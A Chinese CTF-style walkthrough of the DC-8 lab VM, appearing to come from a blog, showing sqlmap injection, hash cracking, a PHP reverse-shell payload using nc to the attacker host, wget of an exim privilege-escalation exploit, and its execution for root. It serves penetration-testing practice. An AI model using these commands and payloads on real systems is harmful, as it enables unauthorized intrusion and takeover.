DC-8靶机渗透测试记录

靶机信息

靶机地址:https://www.five86.com/dc-8.html
下载完成后,运行文件夹中的.ova文件即可安装靶机(vmware)
网络连接方式为NAT,kali与靶机为同一网段

信息搜集

nmap扫描网段,判断出目标主机IP后扫描主机

nmap -sn 192.168.74.0/24
nmap -A 192.168.74.132

在这里插入图片描述

访问80端口,打开网站看一下,看到这边有个列表
在这里插入图片描述

漏洞利用

点击列表后,发现url出现?nid=2,试下sql注入
在这里插入图片描述

随便试下,出现报错,存在注入点,直接sqlmap跑下
在这里插入图片描述

上来就是sqlmap四连

sqlmap -u http://192.168.74.132/?nid=2 --dbs

# 查看数据库

在这里插入图片描述

sqlmap -u http://192.168.74.132/?nid=2 --tables -D d7db

# 查看d7db库的表

在这里插入图片描述

sqlmap -u http://192.168.74.132/?nid=2 --columns -T users -D d7db

# 查看d7db库的users表的字段

在这里插入图片描述

sqlmap -u http://192.168.74.132/?nid=2 --dump -C "name,pass" -T users -D d7db

# 查看d7db库的users表的name和pass字段的内容

在这里插入图片描述

用john工具,破解的同时也可以识别加密方式,把要破解的密码写到txt文件中
破解出来的密码为turtle

john dc7.txt

在这里插入图片描述

使用账号密码登录,路径为/user
在这里插入图片描述

然后编辑模板,准备写shell回连,发现只有Contact US界面可以编辑
Home>Contact Us>WebForm>Form settings
在这里插入图片描述

写入shell,记得设置php代码,页面最底下保存设置

<?php
system('nc 192.168.74.129 666 -e /bin/bash')
?>

在这里插入图片描述

在kali上设置监听端口,退出登录,在Contact Us界面提交信息
在这里插入图片描述

权限提升

提交后回连成功
获取交互模式shell

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

大概看了下没啥东西,试了下sudo -l 没东西,再看下哪些指令有root权限

find / -perm -u=s -type f 2>/dev/null 

在这里插入图片描述

搜下exim的漏洞,searchsploit exim,再看下exim的版本
在这里插入图片描述
在这里插入图片描述

用Local Privilege Escalation这个漏洞,对应的46996.sh文件在/usr/share/exploitdb/exploits/linux/local下,只有tmp目录权限较高,把文件上传到这里
在这里插入图片描述

由于现在还没有权限,上传的话可以通过wget来上传,确保kali上有web服务,httpd或nginx,确保能通过网页访问到,然后将漏洞的脚本文件放到kali的/var/www/html目录下
在这里插入图片描述

然后在靶机的tmp目录下输入wget命令来下载kali上的脚本文件

wget http://192.168.74.129/46996.sh

在这里插入图片描述

然后给脚本文件增加权限,并运行
出现报错,搜下bad interpreter,编码格式问题,输入sed -i “s/\r//” filename即可

chmod 777 46996.sh

./46996.sh

在这里插入图片描述

转换格式

sed -i "s/\r//" 46996.sh

在这里插入图片描述

看起来是执行成功了,但是好像还没权限,看了下脚本文件,发现还差一步
在这里插入图片描述

又分别执行了一下图中的两条命令,最后是用第二条命令拿到权限

./46996.sh -m netcat

在root目录下找到flag
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
对于计算机专业的学生而言,参加各类比赛能够带来多方面的益处,具体包括但不限于以下几点: 技能提升: 参与比赛促使学生深入学习和掌握计算机领域的专业知识与技能,如编程语言、算法设计、软件工程、网络安全等。 比赛通常涉及实际问题的解决,有助于将理论知识应用于实践中,增强问题解决能力。 实践经验: 大多数比赛都要求参赛者设计并实现解决方案,这提供了宝贵的动手操作机会,有助于积累项目经验。 实践经验对于计算机专业的学生尤为重要,因为雇主往往更青睐有实际项目背景的候选人。 团队合作: 许多比赛鼓励团队协作,这有助于培养学生的团队精神、沟通技巧和领导能力。 团队合作还能促进学生之间的知识共享和思维碰撞,有助于形成更全面的解决方案。 职业发展: 获奖经历可以显著增强简历的吸引力,为求职或继续深造提供有力支持。 某些比赛可能直接与企业合作,提供实习、工作机会或奖学金,为学生的职业生涯打开更多门路。 网络拓展: 比赛是结识同行业人才的好机会,可以帮助学生建立行业联系,这对于未来的职业发展非常重要。 奖金与荣誉: 许多比赛提供奖金或奖品,这不仅能给予学生经济上的奖励,还能增强其成就感和自信心。 荣誉证书或奖状可以证明学生的成就,对个人品牌建设有积极作用。 创新与研究: 参加比赛可以激发学生的创新思维,推动科研项目的开展,有时甚至能促成学术论文的发表。 个人成长: 在准备和参加比赛的过程中,学生将面临压力与挑战,这有助于培养良好的心理素质和抗压能力。 自我挑战和克服困难的经历对个人成长有着深远的影响。 综上所述,参加计算机领域的比赛对于学生来说是一个全面发展的平台,不仅可以提升专业技能,还能增强团队协作、沟通、解决问题的能力,并为未来的职业生涯奠定坚实的基础。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值